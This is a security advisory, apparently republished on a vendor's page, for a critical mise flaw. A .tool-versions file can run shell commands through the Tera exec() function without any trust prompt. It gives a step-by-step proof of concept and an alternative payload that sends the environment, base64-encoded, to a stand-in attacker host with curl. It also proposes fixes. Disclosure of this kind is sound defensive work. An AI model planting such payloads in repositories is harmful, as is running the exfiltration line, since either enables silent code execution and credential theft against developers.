Summary
Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.
Vulnerability Details
Vulnerable Code
File: src/config/config_file/tool_versions.rs, lines 60-63
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check
// ...
}
File: src/tera.rs, lines 385-391
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.
File: src/config/config_file/mod.rs, lines 272-287
pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
if let Ok(settings) = Settings::try_get()
&& settings.paranoid
{
trust_check(path)?; // Only in paranoid mode!
}
match detect_config_file_type(path).await {
// ...
Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
// ...
}
}
Attack Vector
- An attacker creates a
.tool-versionsfile in a git repository containing Tera template syntax with theexec()function. - The victim clones the repository and has mise activated in their shell (via
eval "$(mise activate zsh)"or equivalent). - When the victim
cds into the repository directory, mise's shell hook (hook-env) fires automatically. hook-envloads and parses config files, including.tool-versions.- During parsing,
ToolVersions::parse_strprocesses the file content throughget_tera(dir).render_str(). - The Tera engine evaluates
{{ exec(command="...") }}, executing arbitrary commands as the victim's user. - No trust prompt is displayed because
trust_checkis not called for.tool-versionsfiles in non-paranoid mode.
Execution Context
- Commands execute as the current user with full access to their environment.
- The pristine environment (
env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run.
Contrast with .mise.toml
.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.
Steps to Reproduce
Prerequisites
- mise installed (
brew install miseor equivalent) - Shell activation enabled:
eval "$(mise activate zsh)"(or bash/fish) - Default settings (paranoid mode NOT enabled, this is the default)
PoC: Silent RCE on cd
Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:
mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init
cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF
git add -A && git commit -m "Initial commit"
Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout, the exec() returns an empty string, making the line evaluate to node 20.0.0.
Step 2: In a new shell with mise activated, enter the directory:
eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo
Step 3: Verify arbitrary code execution:
cat /tmp/mise-rce-proof
Expected output:
uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026
No trust prompt, no warning, no error output. The id command executed silently as the current user.
Validated Test Results
Tested on 2026-03-16 with:
- mise 2026.3.9 macos-arm64
- macOS Darwin 24.5.0 arm64
- zsh 5.9
- Paranoid mode:
false(default)
Test 1, .tool-versions (no trust check):
$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026
Command executed silently. No trust prompt. No errors.
Test 2, .mise.toml with same payload (trust check blocks execution):
$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory
.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.
Alternative PoC (data exfiltration)
{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0
Option 1: Add trust_check to .tool-versions parsing (recommended)
// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
trace!("parsing tool-versions: {}", path.display());
Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
// Only use tera if the file contains template syntax AND is trusted
let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
trust_check(&path)?;
get_tera(dir).render_str(s, &cf.context)?
} else {
s.to_string()
};
// ...
}
Option 2: Remove exec() from .tool-versions tera context
Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.
Option 3: Remove tera processing from .tool-versions entirely
.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.
Impact
- Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious
.tool-versionsfile. - Supply chain attack vector:
.tool-versionsis a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - Silent execution: No trust prompt, warning, or user interaction required.
- Full user privilege escalation: Commands run with the full privileges and environment of the current user.
- Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
- Widespread potential impact: Any open-source project with a
.tool-versionsfile could be targeted. A malicious PR adding tera syntax to an existing.tool-versionsfile could execute code on all reviewers' machines.
CVE-2026-33646 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2026.3.10); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33646? CVE-2026-33646 is a critical-severity security vulnerability in mise (rust), affecting versions < 2026.3.10. It is fixed in 2026.3.10.
- How severe is CVE-2026-33646? CVE-2026-33646 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mise are affected by CVE-2026-33646? mise (rust) versions < 2026.3.10 is affected.
- Is there a fix for CVE-2026-33646? Yes. CVE-2026-33646 is fixed in 2026.3.10. Upgrade to this version or later.
- Is CVE-2026-33646 exploitable, and should I be worried? Whether CVE-2026-33646 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33646 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33646? Upgrade
miseto 2026.3.10 or later.